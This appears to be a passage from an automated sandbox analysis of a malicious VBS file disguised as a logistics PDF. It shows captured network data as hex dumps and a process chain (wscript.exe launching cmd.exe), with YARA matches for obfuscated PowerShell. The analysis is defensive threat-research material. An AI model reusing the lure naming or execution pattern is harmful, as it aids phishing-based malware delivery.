74 e7 fd 5b 0e c6 6c d9 99 95 47 56 2c e3 40 1a 26 4e 58 f0 b4 Data Ascii: {>h]yUW2{vpCt8Tgz-sPQN]_C"H`P"3B3T/%}hb3b\-(Ds7:Y(YMlOezX(KoBs/7RNko%Qs9FXD#UpRH_CO"E63.t[lGV,@&NX
2023-06-07 15:08:50 UTC	3273	IN	Data Raw: c0 b9 61 a2 c9 d1 9f 2b f5 0b 07 21 4a fc e3 6b 33 ab 2b 22 41 e5 d1 3b e4 0a 20 7d ac ed 91 3a 13 b2 72 c9 05 e0 6f ab a9 38 6d a9 54 ce 65 21 a4 16 24 6b 9c 4e 36 21 7e 54 80 20 a9 c1 7a 43 bd 75 62 a2 3d ee cf 6b d0 ac 4d 51 9b c0 04 29 a2 83 f4 7d 61 81 51 fb 8f fe 28 f1 30 a0 65 5c 99 df d9 85 5f fb e4 03 98 57 ef 7a 29 79 5c 25 86 73 e2 bf 3e 19 74 28 cc b8 51 f9 0e c2 3d 74 c9 46 ba 22 b5 ca 9e 63 4c 12 79 07 14 07 52 11 11 54 f4 22 53 0b 4d 67 f4 97 82 a2 2f 17 43 ad 66 43 39 1c a5 f2 fa ac c8 fe 68 f5 87 c6 2c e0 e1 ed 2e 40 46 1c 24 7b 27 ab 03 07 ab eb 92 c6 1e 28 52 24 ba e4 9d 3d c0 ab d8 8d 35 0a c4 09 5a fe 0b bf eb 2f 28 fd 7e 5c f5 1d 93 7c 2a 4a 67 b8 a8 b0 05 ef b6 0f 4e a5 2f 86 bf 96 42 54 7d ea e2 45 b8 dc f8 10 2b 29 58 27 43 e2 ee Data Ascii: a+!Jk3+"A; }:ro8mTe!$kN6!~T zCub=kMQ)}aQ(0e\_Wz)y\%s>t(Q=tF"cLyRT"SMg/CfC9h,.@F${'(R$=5Z/(~\\|*JgN/BT}E+)X'C
2023-06-07 15:08:50 UTC	3289	IN	Data Raw: f6 52 4c 7c 8d a1 9f db 9c 73 15 e9 8b f1 d5 14 ab b5 f1 f8 b4 c3 c3 33 96 5a b7 70 50 2e 86 df 3e 8b a7 58 d1 8e 8d d2 a9 ad 65 7f 95 6c 62 a0 92 5c 43 b4 04 71 b4 04 f4 b2 65 78 a1 62 a5 ea 65 26 b5 76 93 07 68 94 1c ef b1 14 90 29 b4 2f 1e 93 33 17 61 e4 27 2b 4e a2 aa 97 ad 45 f6 fb 5b 3a 81 44 7d c8 ae 91 86 44 6b 5c 93 85 e3 1f b8 4b 94 0f 6d 0e b3 7d ff 11 0f 42 3a 1b 1f 57 47 f1 2e f7 b4 f3 11 62 9e 92 9d f9 06 04 1c 33 0a 0f 61 d9 df b1 9e dd 63 84 4e c5 a6 db 1a 3b b7 76 b8 20 fc c9 d3 91 b9 43 9e 10 0b 7a 5f 32 32 db a8 e8 ad fe 02 a6 67 e7 c4 d1 d9 3e 11 2b 95 f3 64 b7 a6 e1 6c 98 96 5b f8 91 e2 98 3f bb 0a 2e 7d 6c f2 cb 48 d4 bb ce 88 64 5a 89 b8 5b 89 1e 3d fe fb a1 2a 3c 0d 4a cd c2 7a 5a aa 0c f4 e9 4a de ab ee e4 35 3e 48 31 74 7e 78 64 Data Ascii: RL\|s3ZpP.>Xelb\Cqexbe&vh)/3a'+NE[:D}Dk\Km}B:WG.b3acN;v Cz_22g>+dl[?.}lHdZ[=*<JzZJ5>H1t~xd
2023-06-07 15:08:50 UTC	3305	IN	Data Raw: 86 b4 e1 6c 8b ae 4e 7c a9 35 f1 15 f1 8e bd c7 2b f6 fd 79 66 e1 cd e0 99 82 c4 11 d4 8d 15 40 ae 61 b5 46 09 22 2c 82 03 6e 55 f2 ad af df d1 81 b5 b2 89 bd d2 d1 a7 c0 93 0c b3 ba 50 20 08 53 7c fe f6 4f 07 fc 9e 73 25 0a 19 39 da 2a 01 fc 27 b9 6f e7 13 53 03 c6 cd 15 70 96 f5 41 bb cb c2 33 4d fb 96 9f cf 39 71 cb 11 8e 7c 5f d3 9e 44 19 b7 19 28 c9 e8 8b 4b 48 1b 3b 3b 21 31 a4 3f b9 7a 21 76 08 1f d2 e4 56 f1 4e 5a a6 08 f3 6e 93 9d 1a 76 ca c9 a7 13 cc 35 cb 0b 9f a1 79 07 63 0e 8e 99 26 b5 55 53 bd dd 27 91 c2 1c d4 af d1 3c ad a5 e4 0f 29 76 1f 4b fc 3a 85 21 6e 19 b9 85 95 13 0b 8f 0b 48 3c 6b 9f 3c 3f 47 eb 1e 36 42 0b 4c a1 98 84 2c a7 43 f9 42 6d e1 50 7e e7 3f 23 f4 63 a3 93 bf e6 3a 40 cc ed 11 b1 9b a0 e5 0c 34 be 8c e1 1d c4 9c 64 f5 1c Data Ascii: lN\|5+yf@aF",nUP S\|Os%9*'oSpA3M9q\|_D(KH;;!1?z!vVNZnv5yc&US'<)vK:!nH<k<?G6BL,CBmP~?#c:@4d
2023-06-07 15:08:50 UTC	3321	IN	Data Raw: 61 83 92 57 76 7a a3 b3 f1 30 c4 64 9d b1 a2 80 88 62 ed d1 f2 ea 7e f2 eb d8 63 c2 ff 77 07 47 75 78 f3 e3 a0 03 04 32 f9 0e 2e 12 77 52 21 47 f2 b3 ea 77 c6 3d 6b 60 fa 8f cb a1 85 2d aa f4 de 5a c3 8c 64 06 c5 35 90 01 22 c8 88 c4 68 23 37 d3 0b 5a fb 69 1e c6 e2 d0 e2 82 d6 b5 49 23 81 78 9e a9 c3 91 5c fe e2 64 ba de ff 57 6f 85 00 9a 29 21 4c 82 3d b4 6e ec 56 c2 86 21 ba a5 d1 3e 04 60 4f 83 9f 73 46 b4 85 d3 7d b1 2e a3 f6 22 a5 9a 4d 8f 36 4a ee 9a 68 a2 d6 dc 07 9b ca cb 43 b0 c1 95 78 6f 7c 06 73 da 66 1d 28 0a 92 14 f4 76 27 83 fa 4a 90 24 73 b2 64 03 98 e5 de 89 f7 22 f5 83 aa c7 14 38 f6 ec 11 7c 75 d2 fa 9e ff c9 58 15 ff eb 3d ce cb 36 fe 3b b4 a1 e4 b8 d3 ba e3 ba a7 b9 06 16 c1 80 27 3a f9 87 72 a6 0f 56 f8 9c 79 1a ea 4b 9f fa bd 15 e4 Data Ascii: aWvz0db~cwGux2.wR!Gw=k`-Zd5"h#7ZiI#x\dWo)!L=nV!>`OsF}."M6JhCxo\|sf(v'J$sd"8\|uX=6;':rVyK
2023-06-07 15:08:50 UTC	3337	IN	Data Raw: d8 02 0d 3a ca a9 54 3f e0 3e 08 86 8d 52 c3 fe f9 2e c1 c8 ff 2d 01 f9 58 c3 6e 01 52 6f 06 0c 32 b4 95 67 12 b9 10 05 d2 27 a5 58 e5 9a 77 91 ac 30 85 72 fa 0c a6 0f 17 35 62 ed 1b 6f f1 7c 7c 29 3f d7 ab 67 ce ec 6c a6 b7 24 a0 5c 5c 0b d5 7f 8a 66 0e 7d 84 10 5d 93 00 9a 97 05 15 7c 3b 0a 92 52 28 9e ae 1b 60 c0 6f f5 d9 0e ba 35 b1 80 1d ba fe 7f 75 62 94 f2 e6 a9 6d 3c b2 8c d5 cd d3 f8 31 a5 93 fb d0 72 8a 20 71 60 57 de 59 0b ee ab df a9 0b 57 f6 44 41 d9 6f 86 13 c6 3c ee 51 b6 08 88 34 90 25 10 8c 42 f4 42 64 70 c1 3f 51 07 33 5f a2 28 0c 78 7f 4e 9c 38 c7 25 e1 10 0f 86 2c 18 b8 1b 69 85 46 ea ed 5b 58 ad 65 0c be 90 00 c0 06 80 ec 5b 01 73 81 6e 3e 11 e9 c5 c9 1a 7b ce de 72 20 f7 76 ad 7b 51 06 d5 5d c7 e8 22 16 7e 05 3b 40 69 35 c9 1f 65 2f Data Ascii: :T?>R.-XnRo2g'Xw0r5bo\|\|)?gl$\\f}]\|;R(`o5ubm<1r q`WYWDAo<Q4%BBdp?Q3_(xN8%,iF[Xe[sn>{r v{Q]"~;@i5e/
2023-06-07 15:08:50 UTC	3353	IN	Data Raw: 03 a9 2d 47 3a 73 d1 d5 bd 6b 28 8b 06 2c 5d 72 8d 91 84 78 7a 4d c3 4f cc bd 9d 29 9b 5b 7f f7 13 41 84 10 f0 ee a2 26 ef 05 da c3 71 9a 45 bb 01 43 7c 88 1c 54 3c 86 0a bf ca 47 bc 7a 1c 12 52 31 4e 86 d2 98 19 cc 89 31 34 3a ac 84 7f 4b 23 3c b3 d4 48 93 2c 9d be 2b e7 5f 62 71 20 18 e3 68 80 ef 0f f8 91 8d c3 29 1d 25 b7 73 6e 95 79 9e 4a 8b 4c e0 a0 e0 dd 82 68 eb f9 6d 23 71 69 4f 59 72 0b 37 b7 db ea 60 55 40 36 3a c5 ac db f3 64 37 2e 43 cc 13 a6 f4 99 69 d4 83 6f e0 28 3f fb dc 00 47 e9 b7 df 75 a9 ca 3a df d3 ca a5 d5 4c ab 46 70 89 4e 45 c3 c3 98 f7 3d a0 01 ad 36 25 65 2c e5 e4 ed 9d 5c 33 f3 76 39 61 7a a3 38 c6 76 db 6c 6b a5 bd 01 6a b6 5f 25 e9 b8 11 16 9a 5d 04 f4 8d 7e c1 88 63 b8 74 16 70 61 1d 77 78 0b 30 51 32 b9 d7 ea 7d 53 2a 09 1a Data Ascii: -G:sk(,]rxzMO)[A&qEC\|T<GzR1N14:K#<H,+_bq h)%snyJLhm#qiOYr7`U@6:d7.Cio(?Gu:LFpNE=6%e,\3v9az8vlkj_%]~ctpawx0Q2}S*
2023-06-07 15:08:50 UTC	3369	IN	Data Raw: 16 c0 97 d9 c3 58 69 16 8f 29 d1 e5 ee 69 21 21 9b ba fb 29 38 69 bb e8 21 5e 4c a7 0d 78 af a7 c9 2d eb 0b 3b ab 44 70 9e dc 1c 4e 02 74 cf 4c fe 4f ee 19 ef 93 fa 99 b4 ae 58 16 43 40 65 d0 1b 31 fc c8 eb dd d3 db 60 a8 b3 0a 8b 75 70 81 d7 5a 41 3f 92 d4 a0 52 4e 41 13 43 2f ad f0 2a 5a df e5 3c 3a 01 c3 1d 48 d7 a0 93 3a 75 2a 6a 73 c0 59 5f f0 a4 9a c9 88 f1 9b 29 47 9d 44 e6 53 67 54 38 19 2a c8 c3 10 84 a4 d4 16 07 01 59 7d fe 05 4f 16 8e 4b f8 f0 7a d1 fc 7c 41 59 ce 45 44 d3 94 10 8e dc 4a a5 97 64 c8 12 5a 9c 3e b4 5e b8 72 4b 7b 2e bc c9 e5 82 71 6f 3f a3 e4 58 6b 07 70 7d 8a 32 34 1f 08 6f 29 d9 7f 4f 0f 2f 6e 75 da ef 20 d5 51 03 a4 cf 28 7d 3a 79 4b 0c a5 e1 89 55 af b6 06 08 24 82 84 35 27 78 d8 46 91 34 2b ab 68 21 fc 78 a1 0c dd 9f b9 fa Data Ascii: Xi)i!!)8i!^Lx-;DpNtLOXC@e1`upZA?RNAC/Z<:H:ujsY_)GDSgT8*Y}OKz\|AYEDJdZ>^rK{.qo?Xkp}24o)O/nu Q(}:yKU$5'xF4+h!x
2023-06-07 15:08:50 UTC	3385	IN	Data Raw: f7 26 b4 7c ef 11 0f 57 49 ad 2c c3 73 33 f0 2a 7b 55 e4 9e da b6 5a 7e 63 41 73 5b 4d fb 6e 0c 68 05 95 2d a5 cb 83 f3 8f 06 04 3d 6e 03 fd cd 2b 8b d2 7a d4 38 43 62 c2 8c 8a 59 fc 38 74 a6 a3 5b 13 ee 86 26 28 06 1d 82 25 13 a1 29 78 37 f2 ad 47 78 43 01 d2 7f 40 d9 0a d0 ae d4 38 fd 0f 2c 12 b7 a7 61 e1 83 3c b7 30 a2 d4 8e ac bd c4 1d 28 27 a2 62 e3 09 fd cf 8d 28 44 2f c4 1f 0a 7e ad 60 84 74 ae 2c 1b f8 51 6d 88 dc 3f 84 c4 0d 67 8b e3 a5 a6 37 b8 ef e7 d1 e5 81 67 bb 3a 7c 81 67 f3 01 48 57 13 bf df f8 d2 f9 bc 97 b3 62 f7 65 95 78 5b 65 aa d1 65 bb 18 ca 50 f8 c3 f8 6f 7d af 52 20 15 40 56 fc b0 4d f6 90 67 10 da 53 f2 2e b3 4a 32 de 7e 4e 18 c9 88 7a 0f f2 84 aa 8f 06 ed ad 54 d2 3f 17 41 d6 d5 3c af b3 61 06 01 59 12 36 89 b8 1d 7a 81 69 fd 3b Data Ascii: &\|WI,s3*{UZ~cAs[Mnh-=n+z8CbY8t[&(%)x7GxC@8,a<0('b(D/~`t,Qm?g7g:\|gHWbex[eePo}R @VMgS.J2~NzT?A<aY6zi;
2023-06-07 15:08:50 UTC	3401	IN	Data Raw: 4b 3f 02 ea 0d 9d 95 f3 64 9b b0 5d 6d ac fa 51 83 11 0d 3a 7d 10 13 4b 0b 88 75 88 59 c1 f0 52 e9 0a 98 c1 71 52 2d fd 54 2e 0a c5 b6 c7 b8 ff ef 2b cb ed b8 29 54 1b cb 58 ed 69 63 05 6f 45 e6 ce f5 56 28 69 2e f7 9e 65 eb 15 38 cf a6 cd 02 d6 c3 fa 4b 68 4c 5c de 8b 2d 06 11 cf 81 d3 d8 8b b9 a9 b1 21 5a 0c 82 e8 61 64 2c 50 d9 3b 19 c2 b7 44 51 f3 3c ea ee cc 35 b2 f4 61 37 f2 2f 50 f2 06 6b e1 8c 84 60 4e b9 ab 08 17 58 e3 b0 3d ad 8f 74 63 24 f6 c2 29 a8 4a 63 be cb 42 d0 b9 8d 46 04 6b 5c 92 9e e1 5a b3 ce b4 19 00 1a 44 5b 64 c0 35 2c 44 83 38 e2 3f 0b fa 6c 26 bd 74 86 21 25 c7 b8 64 75 73 a6 6c 2d e6 b1 61 4c 46 02 9f a6 c2 a4 4c a9 27 1e 45 73 c2 eb 08 ee 0e 7e a5 a2 53 f6 5a 68 47 d5 25 a2 67 07 8d 53 db e2 cf 00 28 5c 8f ee be 11 39 39 03 eb Data Ascii: K?d]mQ:}KuYRqR-T.+)TXicoEV(i.e8KhL\-!Zad,P;DQ<5a7/Pk`NX=tc$)JcBFk\ZD[d5,D8?l&t!%dusl-aLFL'Es~SZhG%gS(\99
2023-06-07 15:08:50 UTC	3417	IN	Data Raw: a1 cf 38 76 f0 6f 32 f8 cf 80 b0 4d 40 21 2e ff ca 75 67 f5 7d 4d 52 7d 13 44 a7 39 14 16 37 7c b4 50 49 2a b4 d5 d0 28 c9 01 94 14 f2 e4 64 d3 52 3e 54 f8 03 85 9d 3e 8b f7 53 30 c3 72 6a 59 a9 8d 18 31 29 62 f4 9f a3 36 c0 4c 09 4b 33 0b eb a6 1b 52 cf 26 a6 99 26 3e a7 d3 cb 1d eb f7 4b 59 94 84 6c b4 83 5b 6f cd 40 08 5e cf 1e 4e a2 aa 78 78 14 83 72 d0 7f 89 6d 98 85 46 75 2a bb 94 7f b8 b5 07 b3 67 4a 94 e3 4e 33 ab 00 81 19 e7 6e 9b 5e 1f 1f 0f e9 ed 0a aa 5a 42 36 c9 6d e8 f9 4f ec 6e 8b f5 56 89 a5 4b f4 9e 52 2e 9c 7d 2f 8c cb 12 c7 48 89 47 17 e2 ae d6 85 a0 7a ee f8 eb 1d de 0d 51 a8 c5 3c 78 a1 83 d4 41 e7 c4 81 38 69 9a 2c b6 30 5f 30 75 ae 9a 7b b6 5a f7 58 e4 dd 3f 2a fc 6c 79 52 27 ab 71 ec bf c1 0c 98 fb cc b8 d1 fc 02 32 0b d5 e4 2a 97 Data Ascii: 8vo2M@!.ug}MR}D97\|PI(dR>T>S0rjY1)b6LK3R&&>KYl[o@^NxxrmFugJN3n^ZB6mOnVKR.}/HGzQ<xA8i,0_0u{ZX?lyR'q2
2023-06-07 15:08:50 UTC	3433	IN	Data Raw: 2f 33 32 fb b0 1c d6 81 d9 ea 74 2f bf 42 c2 f0 22 2c 7b b8 69 69 d3 86 99 b2 71 9b 2c 19 91 41 1d 85 74 72 4b ba df 7d 8f 7e bc 67 a5 29 9c 12 7c 2c a4 de 8d 15 ca 7c 9a 7b c7 13 08 2c ef e8 d4 d6 27 dd a7 92 cc be 58 4a c3 c3 80 52 30 a9 95 10 55 42 13 54 7e d0 f7 91 f7 f9 ed 32 02 1d 4d 0a 34 d2 13 a1 fd 14 fb b5 5e e7 d5 cf b0 88 ed 05 40 fc 8f ca 1c 23 78 38 20 fb 0e 13 69 f7 ee 51 7f 8e 12 b4 7d 15 f8 f1 a1 14 4b c9 6e fc c6 b7 81 b8 fe 52 50 20 2c 46 f0 de 4d 8b 92 d3 e2 86 5f a6 2e a9 e4 94 ff 6c 06 4b f0 a3 41 58 c1 4c 27 fb 3a eb 8b f3 f5 8a 0b 8f a9 26 3e 03 73 8e 7c 70 87 4b 30 28 09 29 d9 e8 28 6f e0 e8 e9 1b a6 3f 20 a2 87 ac ab 51 e6 11 b3 7f fc cd 7f c0 2f 74 5e bb ed 9f 35 f0 74 f7 1e 4a e7 0f 9a 76 ce 7d ec 19 81 96 4e 1b 71 a8 6c e9 99 Data Ascii: /32t/B",{iiq,AtrK}~g)\|,\|{,'XJR0UBT~2M4^@#x8 iQ}KnRP ,FM_.lKAXL':&>s\|pK0()(o? Q/t^5tJv}Nql
2023-06-07 15:08:50 UTC	3449	IN	Data Raw: ab 04 27 d0 30 27 6d d7 bb c5 a9 60 03 d1 9c eb e0 63 15 fd 4d ec e0 a3 b2 a3 a0 b4 42 80 dc 85 c4 3f 2c ef 89 55 9c 0c d8 2f d1 f2 93 15 4b 0d d8 be 76 fa 04 d9 76 eb d6 ca d0 72 de d1 89 7b 88 22 4e c9 ab 34 8a 04 a8 17 fe c1 2e 5f 45 db e4 f5 5e 86 87 41 60 0e 98 89 73 9b 2f 5e 7f 4b 93 46 b5 91 09 da b4 52 b0 fe 1c fb d7 b4 17 46 ac ee 3d 0e 67 95 6f 07 4e 27 69 b6 bc a4 5d be 18 7a 72 06 17 80 71 f7 3b 5b ba b3 cb 4c 9d 84 e3 ab d3 43 05 b4 f9 fd 96 b0 15 ab 84 2b a0 dc 97 1a 38 f3 57 40 e2 2d e6 ed 92 a5 90 48 9c 21 47 dc f3 b4 b7 da 80 63 75 03 54 06 58 a3 45 af 7c b3 05 cc e5 80 52 b9 f1 42 a1 cf 20 68 61 e6 62 c7 8c 4a 54 86 e9 e3 cb c2 ca 75 41 17 e0 ab 7e 42 d7 b6 5b dc 4c 66 cd 41 b4 50 57 3e 2f 96 92 17 ee aa ce cc ae 8f 85 ee 52 3e 22 4c ae Data Ascii: '0'm`cMB?,U/Kvvr{"N4._E^A`s/^KFRF=goN'i]zrq;[LC+8W@-H!GcuTXE\|RB habJTuA~B[LfAPW>/R>"L
2023-06-07 15:08:50 UTC	3458	IN	Data Raw: 32 8d b1 50 83 48 0f 7e 32 87 1d e8 3a fe 01 88 43 77 14 6e db 2c be 50 62 79 17 f0 ce 58 1f 82 12 fe 00 a5 19 b1 12 4c 2c a4 de 8d 15 ab 7c ea 7b ae 13 25 2c 82 18 98 d6 0a dd d0 92 a5 4e 09 79 ea c3 e3 52 5f a9 e7 23 34 42 3e 54 06 d0 84 91 83 f9 8c 32 76 1d 28 0a 19 d2 7f a1 cf 14 d6 4a 68 e7 f8 cf 80 88 ed 05 21 fc ff ca 75 23 55 38 4d fb 7d 13 44 f7 19 12 16 c1 7c fa 50 5a 8a a4 d5 40 28 ed 01 fc b4 b7 e4 b8 d3 52 3e 20 58 b9 7a 21 c1 74 08 dc 90 79 8d 59 a6 56 72 9b 91 6c 62 4b 9f a3 f6 83 d3 4c 4b fb 0b eb 66 28 fb 9a de 70 66 d9 c1 8c 31 9e e5 8f 08 b4 a6 a7 66 29 b4 e8 db 90 32 17 e1 1b cf 3f ce 5d 55 53 a7 51 fb 8e 80 6c cd 1e 32 98 f5 66 35 8a 7b 80 25 f0 07 f7 67 4a 94 0f ee 89 54 82 7e e6 18 69 c4 e4 e0 57 f0 16 12 5d c0 1f 42 34 c9 6d e8 e9 Data Ascii: 2PH~2:Cwn,PbyXL,\|{%,NyR_#4B>T2v(Jh!u#U8M}D\|PZ@(R> Xz!tyYVrlbKLKf(pf1f)2?]USQl2f5{%gJT~iW]B4m
2023-06-07 15:08:50 UTC	3474	IN	Data Raw: 5c 5f 32 ad 13 5f fe 5a eb 0c 34 b0 e2 19 d2 44 cc db 9d 53 7e 8d ed a6 5e 9c a5 75 a9 96 ee 19 b4 24 a1 30 d0 71 34 88 81 3d ff 77 c6 e2 8f 7e b7 b0 52 aa f0 ae c2 f6 64 1a 45 0a 96 de a5 db fe 40 ab d4 21 22 b2 ad ad 0d cd 10 3b bc e8 e6 20 ad d1 b3 d6 a5 f8 5d c9 7e 8f 5f 87 79 90 34 78 77 2b 51 6b c0 f2 c0 9e a7 45 5a ac 3a ef 43 9d ac f5 c5 2e 65 4b d6 23 4c cc 72 7e 11 85 f7 ec 75 f6 38 57 6e 68 9e 90 2f b3 10 b2 ad db a1 2d e5 fb 2c 92 3f 92 2f 00 96 1d 77 ec 35 a2 75 72 61 f4 ef 6b b4 4d 60 63 92 1f e9 e2 9a bf cd 01 f9 94 42 a5 2d 1e 64 fc 7a 4e 25 d9 0e ec 27 1c 7e 73 a8 a1 74 d9 51 57 ba 5a 52 af 66 00 dd df fa 65 33 b0 22 b2 04 80 1d b7 04 26 3c c4 5c fd f8 9d d8 92 e5 d9 18 0e fc 12 ef 77 98 08 54 6d b3 61 7f 6d e4 12 49 b6 47 b3 97 be bf 65 Data Ascii: \_2_Z4DS~^u$0q4=w~RdE@!"; ]~_y4xw+QkEZ:C.eK#Lr~u8Wnh/-,?/w5urakM`cB-dzN%'~stQWZRfe3"&<\wTmamIGe
2023-06-07 15:08:50 UTC	3490	IN	Data Raw: dd be 4d 64 77 d9 41 16 72 d3 e5 c6 10 54 72 99 0d 3a 4f 69 64 cd cc 28 fc c8 50 52 c3 a7 0f 2b bd 39 b9 2d 00 8d 79 a9 55 5d f0 60 3b b8 f1 74 0d d1 3e be e9 7b bd 4d a4 30 f0 9a 33 2b 80 33 6f b6 a3 f3 59 8c d3 39 f7 11 0c fa 23 83 83 e5 f4 28 fe ec 3e 0e a1 d3 bf a7 5e bc 2b 3b 50 89 ff 71 48 96 fc 02 ef 60 93 d1 54 c5 61 5c 6d e2 66 9f d7 61 f5 9e a0 b4 06 17 f5 0e cd b4 ab 8a fa 09 47 6a 9d 12 d1 f2 0f 93 5f e5 58 81 3d ff 77 07 ce 62 6c 08 2f 8d 8a 13 b1 3e 4a 1d d2 f4 d7 94 75 fe 80 2a fe c1 be ac 64 79 66 ca d4 73 22 b3 b1 d1 67 00 35 9b f9 4e 71 b4 11 79 96 d7 04 02 33 5f 33 77 5a fb 59 1a ac 1d a7 65 04 ef 50 f2 6a 14 b8 1b 69 b6 0a 4e f4 06 99 45 19 ff 41 6f 85 00 8d 99 45 4c 7d be 7e 91 27 94 29 b1 aa f8 6a a4 de 8d 15 ab 7c ea 7b ae 13 25 2c Data Ascii: MdwArTr:Oid(PR+9-yU]`;t>{M03+3oY9#(>^+;PqH`Ta\mfaGj_X=wbl/>Ju*dyfs"g5Nqy3_3wZYePjiNEAoEL}~')j\|{%,
2023-06-07 15:08:50 UTC	3506	IN	Data Raw: 91 cd b9 13 13 4f 90 f0 be 28 9a ea bf 06 03 c3 33 21 1d 26 76 bb 63 c7 de 01 5a 1a 36 1e 3d 45 ab e9 82 7d 8b b4 be 9f 56 2c 67 54 47 49 52 c8 c1 ec 7b ab 74 d8 47 57 2b 5e 1b a1 a5 9b 94 95 5c 02 08 be 8e bf d0 ad 2b c7 84 2d 03 66 9c 63 4a a5 97 64 14 22 43 2a bf c2 3d 0f e5 29 7c 56 7e 6f cf f0 ba ee ca 29 24 e7 6a 07 82 04 96 e5 c6 10 54 72 b7 32 7b 19 0b 41 53 d5 4b 81 0f 62 12 b0 d3 6b 6b fd 39 b9 b9 75 c8 79 a9 79 e9 b6 4e 38 4d e1 2b b2 1b 0b ca 2c a5 a4 28 d6 42 9f e8 37 a2 b2 57 2d f6 a3 67 2f c9 d3 39 08 ee f3 2b 1c c2 d5 80 cc 4b 9b 9c 56 d3 88 bd ff d4 2a d8 6b 7b 50 89 ff 71 48 96 90 f8 a9 60 ff 65 12 c5 61 5c 6d e2 66 9f d7 61 f7 9e a0 b4 7a a3 b3 0e 45 00 ed 8a 5a ba 01 6a 9d 12 d1 f2 63 69 19 e5 59 81 3d ff 77 07 ce 62 93 f7 d0 72 8a 13 Data Ascii: O(3!&vcZ6=E}V,gTGIR{tGW+^\+-fcJd"C=)\|V~o)$jTr2{ASKbkk9uyyN8M+,(B7W-g/9+KVk{PqH`ea\mfazEZjciY=wbr
2023-06-07 15:08:50 UTC	3522	IN	Data Raw: 8d cf b7 04 e0 f6 32 3e d2 c6 59 98 b2 bc 23 1a 71 b4 0f d8 4e 98 bb 26 a7 de e6 e4 24 ad 62 45 8c 3d bb 7a ab 8e 2e b2 08 83 09 5a eb 83 cd 51 2f 1b f8 8d 53 72 9a cf ff 8d 0d 98 8b 68 ee c6 ba 3d e3 18 2e 1a 76 be d1 42 67 48 e6 12 03 b8 a8 ec ef 5e 39 d3 e9 bc 97 e2 34 08 8f 24 0a e1 81 92 93 ef bc 91 cd 46 13 3d 07 6f f0 2a 5e 20 ea bf 06 fc c3 1d 1e a3 70 10 da f5 ab a3 73 c0 5b 75 73 b1 07 59 b3 0e 08 a0 e6 35 ff 51 64 98 4c af 0e e8 c9 fd ef 84 b9 30 c3 f9 0a 00 3c 8a d3 83 fa 0e d2 bd 42 85 c0 94 dd 5c d9 52 87 3b 2d b3 10 26 7e c6 99 68 6a 52 00 fd 61 5e 81 b1 6b ec 65 dc 31 4a 19 5f 92 97 bc 41 41 01 bf 95 16 66 51 2c f5 a3 30 ab 73 bf 0f c5 4f 60 20 c8 8a 28 e0 83 16 52 c3 58 0f 2b bd c6 b9 2d 03 72 79 a9 79 16 49 a3 80 f3 48 d1 e1 9d 78 be 49 Data Ascii: 2>Y#qN&$bE=z.ZQ/Srh=.vBgH^94$F=o*^ ps[usY5QdL0<B\R;-&~hjRa^ke1J_AAfQ,0sO` (RX+-ryyIHxI
2023-06-07 15:08:50 UTC	3538	IN	Data Raw: 83 e5 6e 93 0a dd 44 4d 20 ed 74 62 28 f6 54 ee 80 b4 f0 76 93 f3 2d 9a a8 ad a6 81 a4 68 ec e3 4f ad 75 81 ee c0 a8 72 5c 08 77 cb b8 4e d6 b1 0a 46 49 88 35 3b 00 6d 8d 80 6e c4 16 0a 67 4c 85 12 10 5f 81 a4 01 37 0a 6d 35 c0 55 b7 7c 6c 75 5f 9d 16 d7 75 31 37 f0 29 4b 9a ed 8c af 97 85 7b 6a 31 99 b8 03 94 3f c3 a8 3d 15 fe 98 48 83 90 c2 2e 11 50 da 04 23 6d 1a b6 cd 97 8e cc 3f 1d 8e 5b 8e b5 01 82 c1 92 c2 17 19 31 df 30 c1 d2 ef f4 da 16 67 c1 f6 95 3f 24 a4 39 b4 34 c3 b2 c4 d7 72 83 81 da dc 17 d6 4f 6a e8 9e 5e ac df fe 3a 4c 91 10 d6 5a 03 df d3 a8 ad fe 0e 2c 4a ad 30 2a 5f 13 2b 54 86 dd f7 ed 29 61 3d f4 ca 46 64 ab d0 c3 3c 87 f9 91 24 c8 4a 8c e0 ae 91 07 49 8b 60 e3 4b 8a 20 05 b2 25 22 17 fd 2e c1 fa 56 93 6e 2f 05 13 f3 cd d7 6f 90 46 Data Ascii: nDM tb(Tv-hOur\wNFI5;mngL_7m5U\|lu_u17)K{j1?=H.P#m?[10g?$94rOj^:LZ,J0*_+T)a=Fd<$JI`K %".Vn/oF

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: wscript.exePID: 9996, Parent PID: 5560

General

Target ID:	0
Start time:	17:07:25
Start date:	07/06/2023
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\russelllogistics_PDF98933 laced 2023-06-06 .vbs"
Imagebase:	0x7ff7904b0000
File size:	170496 bytes
MD5 hash:	0639B0A6F69B3265C1E42227D650B7D1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 00000000.00000003.844623037.000002633E501000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth (Nextron Systems) Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 00000000.00000003.861279971.000002633E6D8000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth (Nextron Systems) Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 00000000.00000002.863443496.0000026340D62000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth (Nextron Systems) Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 00000000.00000003.845185105.000002633E505000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth (Nextron Systems) Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 00000000.00000002.862735606.000002633E507000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth (Nextron Systems)
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 10680, Parent PID: 9996

General

Target ID:	2
Start time:	17:07:27
Start date:	07/06/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c dir
Imagebase:	0x7ff6224b0000
File size:	289792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 10764, Parent PID: 10680

General

